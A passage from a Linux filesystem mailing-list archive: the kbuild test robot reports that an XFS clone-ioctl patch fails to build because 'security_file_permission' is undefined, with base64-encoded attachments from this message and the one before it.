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 GKSFsBhA1uyto8+/T7sCVl0nAwA= --a8Wt8u1KmwUX3Y2C-- From fengguang.wu@intel.com Wed Oct 7 02:36:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CF5DC7FAC for ; Wed, 7 Oct 2015 02:36:45 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id BDB38304032 for ; Wed, 7 Oct 2015 00:36:42 -0700 (PDT) X-ASG-Debug-ID: 1444203401-04cb6c578a10440001-NocioJ Received: from mga09.intel.com (mga09.intel.com [134.134.136.24]) by cuda.sgi.com with ESMTP id 6RwhkYKNwOuwhLMu for ; Wed, 07 Oct 2015 00:36:41 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.24 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga002.jf.intel.com ([10.7.209.21]) by orsmga102.jf.intel.com with ESMTP; 07 Oct 2015 00:36:41 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,648,1437462000"; d="gz'50?scan'50,208,50";a="821112370" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by orsmga002.jf.intel.com with ESMTP; 07 Oct 2015 00:36:38 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1ZjjGz-000S6b-Uw; Wed, 07 Oct 2015 15:36:25 +0800 Date: Wed, 7 Oct 2015 15:35:24 +0800 From: kbuild test robot To: "Darrick J. Wong" Cc: kbuild-all@01.org, david@fromorbit.com, darrick.wong@oracle.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 51/58] xfs: add clone file and clone range ioctls Message-ID: <201510071527.ROiaEsBF%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH 51/58] xfs: add clone file and clone range ioctls MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="0OAP2g/MAC+5xKAE" Content-Disposition: inline In-Reply-To: <20151007050044.30457.38096.stgit@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: mga09.intel.com[134.134.136.24] X-Barracuda-Start-Time: 1444203401 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --0OAP2g/MAC+5xKAE Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Darrick, [auto build test ERROR on v4.3-rc4 -- if it's inappropriate base, please ignore] config: x86_64-allmodconfig (attached as .config) reproduce: # save the attached .config to linux build tree make ARCH=x86_64 All errors (new ones prefixed by >>): >> ERROR: "security_file_permission" [fs/xfs/xfs.ko] undefined! --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --0OAP2g/MAC+5xKAE Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 H4sICJzHFFYAAy5jb25maWcAjDxLd9s2s/v+Cp30Lr5vkcZ2HMc993gBkqCEiiRYApQlb3hU W2l86keuZLfNv78zAB+Dh9xmkYQzAxCPec9QP/7w44y9vjw/bl/ub7cPD99nv++edvvty+5u 9uX+Yfe/s0zOKqlnPBP6JyAu7p9e//7w9+VFd3E+O//p408n7/e357Plbv+0e5ilz09f7n9/ hfH3z08//PhDKqtczIE0Efrq+/C4NqOd5+lBVEo3baqFrLqMpzLjzYSseZN3fMUrrYBQ86Jr q1Q2fKKQra5b3eWyKZm+erd7+HJx/h6W+/7i/N1Aw5p0AXPn9vHq3XZ/+xW39OHWLP/Qb6+7 232xkHFkIdNlxutOtXUtG7IlpVm61A1LeYhbsBXvCqZ5lW60jAwuy3Z6qDjPuqxkXclqnFZz D6fmBl3waq4XE27OK96ItBOKIT5EJO08CuwaDosTsMZa4pk2KiRbXHMxX5AlmyMs2cZurk67 PEsnbHOteNmt08WcZVnHirlshF6U4bwpK0TSwB7hOgq28eZfMNWldWsWuI7hWLqAkxUVHLq4 4d6JK67bGjnGzMEazryDHFC8TOApF43SXbpoq+URuprNeZzMrkgkvKmYYdxaKiWSgnskqlU1 